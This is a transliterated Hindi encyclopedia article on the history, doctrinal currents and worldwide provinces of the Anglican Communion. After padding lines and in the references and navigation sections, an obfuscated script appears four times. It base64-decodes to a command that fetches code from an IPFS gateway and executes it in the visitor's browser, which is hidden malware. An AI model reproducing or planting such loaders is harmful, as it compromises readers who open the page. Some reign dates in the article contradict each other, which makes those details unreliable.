ऐंग्लिकन समुदाय
aianglikan samuday eesaee sanpradayoan mean aiangligan samuday ka vishesh sthan hai. isaka itihas ek prakar se ianglaiand mean eesaee dharm ke pravesh ke sath-sath praranbh hota hai (dr. agastin, kaiantarabari ke pratham archabishap), kiantu 16vian shatabdi mean hi vah roman kathalik giraje se alag hokar "charch aauph ianglaiand" ka apanane laga. yahaan par sankshep mean isaka itihas usi samay se prastut kiya jaega. 17vian shatabdi mean isake lie 'aianglikan charch' ka prayog chal p da. ajakal sansar bhar ke aianglikan eesaiyoan ka sangathan 'aianglikan samuday' kahalata hai.
itihas -henari ashtam ke rajyakal (sanh 1509-1557 ee.) mean loothar ne jarmani mean protestaiant dharm chalaya. isake virodh mean henari ashtam ne 1521 ee. mean ek granth likha jisamean unhoanne rom ke bishap (pop) ke eeshvaradatt adhikar ka pratipadan kiya; isapar henari ko rom ki or se dharmarakshak ki upadhi mili (yah aj tak ianglaiand ke rajaoan ki upadhi hai). bad mean pop ne henari ka pratham vivah amany thaharane tatha isako doosara vivah kar lene ki anumati dene se iankar kiya. isake parinamasvaroop parliyameant ne henari ke anurodh se ek adhiniyam rsvikar kiya jisamean raja ko charch aauv ianglaiand ka paramadhikari ghoshit kiya jata tha. (aikt aauv suprimesi1531-ee.). is mahatvapoorn parivartan ke bad henari ashtam ne jivan bhar protestaiant vicharoan ka virodh kar kathalik dharm siddhaantoan ko akshunn banae rakhane ka saphal prayas kiya. ianglaiand ke giraje ka paramadhikari hone ke nate usane mathoan ki sanpatti apanakar unaka unmoolan kiya.
edavard shashth ke rajyakal (sanh 1557-1553 ee.) mean krainmar ke netritv mean aianglikan charch ka kathalik svaroop bahut kuchh badal gaya tatha 'buk aauv kaman preyar' mean bahut se protestaiant vicharoan ka sannivesh kiya gaya (isaka pratham sanskaran sanh 1549 ee. mean svikrit hua, doosara parivartit sanskaran sanh 1552 ee. mean prakashit hua).
apane bhaee edavard ke nidhan par meri tyoodar ne kuchh samay tak (sanh 1553-58 ee.) roman kathalik charch ke sath charch aauv ianglaiand ka sanpark pun: sthapit kiya kiantu usaki bahan elizabeth (sanh 1558-1603 ee.) ne charch aauv ianglaiand ko poorn roop se svatantr tatha rashtriy charch bana diya. sarvapratham apane ek ne adhiniyam dvara apane pita henari ashtam ki bhaanti apane ko charch aauv ianglaiand par paramadhikar dilaya (aikt aauv suprimesi-sanh 1559 ee.) tatha ek doosare adhiniyam dvara edavard ka dvitiy buk aauv kaman preyar anivary thahara diya. (aikt aauv yoonifarmiti-sanh 1559 ee.). itane mean charch aauv ianglaiand ke siddhaantoan ke sootrikaran ka kary bhi age badha aur 1562 ee. mean parliyameant tatha 1563 ee. mean maharani elizabeth dvara 39 sootr (thartinain artikils) anumodit hue. in sootroan par loothar ke vicharoan ka prabhav spasht hai.
elizabeth ke samay mean pyuritan dal ka uday hua kiantu vah vishesh roop se jems pratham (sanh 1603-25 ee.) tatha charls pratham (sanh 1625-1649 ee.) ke rajyakal mean sakriy tha. pyutin dal aianglikan charch ko protestaiant dharm ke adhik nikat le jana chahata tha. vah kuchh samay tak sarvopari raha tatha sanh 1643 ee. mean parliyameant dvara bishap ki padavi ka unmoolan karane mean samarth hua. yah paristhiti sanh 1660 ee. tak bani rahi.
aianglikan charch ka itihas age chalakar pradhanataya isaki vibhinn vicharadharaoan ka utar-chadhav hai. yahaan par aikt aauv sakseshan ka ullekh karana jaroori hai jisake anusar ianglaiand ke bhavi rajaoan ka aianglikan hona anivary thaharaya gaya hai. (sanh 1701 ee.).
siddhaant -rom se alag hate hue bhi aianglikan charch apane ko kathalik charch ka aang manata hai. saiddhaantik drishti se usaka sthan roman kathalik charch tatha protestaiant dharm ke bich mean hai. isi mean aianglikan charch ka vishesh mahatv hai aur isi karan use 'brij charch' ki upadhi di gee hai kyoanki vah pul ki bhaanti donoan ke bich mean sthit hai. vah protestaiant dharm ke saman rom ke vishap ka adhikar asvikar karata hai kiantu vah roman kathalik charch ki bhaanti sikhalata hai ki baibil eesaee dharm ka ekamatr adhar nahian hai. baibil ke atirikt vah kathalik giraje ki pratham char mahasabhaoan ke nirnay bhi svikar karata hai tatha baibil ki vyakhya mean giraje ki prachin paranpara ko bahut mahatv deta hai. phir bhi vah dharmik shiksha ke sanbandh mean saiddhaantik ekaroopata ke prati ek prakar se udasin hai. phalasvaroop aianglikan charch mean pray: praranbh se hi kee vicharadharaoan athava daloan ka astitv raha hai. yadyapi bahut se aianglikan kisi bhi dal ka anuyayi hona svikar nahian karate tathapi pahale ki bhaanti ajakal bhi aianglikan dharm mean mukhyataya tin bhinn vicharadharaean vartaman haian-(1) eveanjelikal, (2) kathalik, (3) libaral. (1) pravartan ke samay se hi aianglikan charch par prostetaiant dharm ka prabhav p da. yah prabhav vishesh roop se nimnalikhit batoan mean lakshit hota hai-yajn ka nirakaran, purohitaee tatha sanskaroan ko kam mahatv dene ki pravritti, bishapoan ke adhikar ko ghatane ka prayatn. is vicharadhara ke anuyayi pahale to charch ke nam se vikhyat the kiantu ajakal ve apane ko eveanjelikal kahakar pukarate haian.
(2) jab aianglikan charch pahale pahal roman kathalik giraje se alag hone laga tha tab kisi ke man mean naya dharm chalane ka vichar nahian tha. bad mean bhi aianglikan dharmapanditoan ka ek dal nirantar is prayatn mean raha ki aianglikan dharm jahaan tak ban p de siddhaant tatha poojapaddhati ki drishti se roman kathalik dharm se door n hone pae. is dal ka nam 'haee charch' rakha gaya aur vah 17vian shatabdi ke poorvardh mean bishap lard ke netritv mean kuchh samay tak sarvopari raha. pichhali shatabdi mean aksafard moovameant dvara is vicharadhara ka mahatv phir badhane laga. isake anuyayi apane ko aianglo-kathalik kahate haian tatha aianglikan charch ko kathalik charch ki ek shakha matr manate haian. idhar (sanh 1928 ee.) adhunik aianglo-kathalik dal ka ek naya sangathan, jisake sadasy pray: padari hi hate haian, samoohik roop se roman kathalik giraje mean sammilit ho jane ka aandolan karata hai; virodhiyoan ne usaka nam pepalist rakha hai.
(3) yah nitaant svabhavik pratit hota hai ki jis dharm mean uparyukt paraspar virodhi kathalik aur eveanjelikal vicharadharaoan ki guanjaish thi, vahaan kuchh log samanvay ki or jhuk jate tatha siddhaant ko kam mahatv dete. unake anusar dharmasiddhaant eeshvar dvara prakat kie hue dharmik saty ka aantim sootrikaran nahian hai, ye yugavishesh ki dharmik bhavanaoan ki darshanik abhivyakti matr haian. 17vian shatabdi mean is dal ka nam 'laitityoodineriyan' rakha gaya tha, 18vian shatabdi mean use 'libaral' tatha bad mean 'brad charch' kaha gaya. ajakal isake lie 'madarnizm' shabd ka bhi prayog hone laga hai.[1]
vistar -aianglikan dharm ka kshetr ianglaiand tak simit nahian raha. rajanitik prabhav ke phalasvaroop vah skatalaiand tatha ayaralaiand mean phail gaya tha kiantu sansar bhar mean isake vyapak prasar ka shrey aangrej pravasiyoan tatha mishanariyoan ko hai. tin mishanari sansthaean vishesh roop se ullekhaniy haian-sosaiti far promotiang krishchiyan nalej (jo es.pi.si.ke. aksharoan se vikhyat hai, sanh 1698 ee. mean sansthapit). sosaiti far d propegeshan aauv d gaspel (es.pi.ji.-sansthapit sanh 1701 ee.), charch mishanari sosaiti (si.em.es.-sansthapit sanh 1799 ee.). ajakal aianglikan samuday ke nimnalikhit praant poorn roop se sangathit haian-d charch aauv ianglaiand (do praant, kaiantarabari aur yark), d charch aauv ayaralaiand, di episkopal charch in skatalaiand, d charch in vels (vah sanh 1914 ee. mean kaiantarabari se alag ho gaya tha); d protestaiant episkopal charch in d yoonaited stets aauv amerika; d charch aauv iandiya, pakistan, barma aiand silon (sanh 1947 ee. ke bad lagabhag 2,50,000 sadasy; sanh 1947 ee. mean dakshin bharat ke pray: sabhi protestaiant tatha lagabhag 5,00,000 aianglikan ek hi sanstha mean sammilit hue, jo charch aauv sauth iandiya kahalati hai aur aianglikan samuday se sanbaddh nahian hai); d charch aauv d pravians aauv sauth aphrika; d aianglikan charch aauv kana da; d charch aauv ianglaiand in astreliya aiand tasmeniya; d charch aauv d pravians aauv nyoozilaiand; d charch aauv pravians aauv vest iandiz; d holi kathalik charch in chaina; japan holi kathalik charch; d charch aauv d pravians aauv vest aphrika; d charch aauv d pravians aauv seantral aphrika; archabishaprik aauv d midal eest. isake atirikt kuchh praant poorn roop se sangathit nahian hai, ve pray: kaiantarabari se sanbaddh haian. ajakal sansar bhar mean lagabhag lagabhag paanch karo d eesaee aianglikan samuday ke anuyayi haian.[2]
|
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
tika tippani aur sandarbh
- ↑ hindi vishvakosh, khand 2 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 263 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ san.gran.-stifen nil : aianglikanizm; filip hyooj : e papular histri aauv d rifarmeshans in ianglaiand.
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>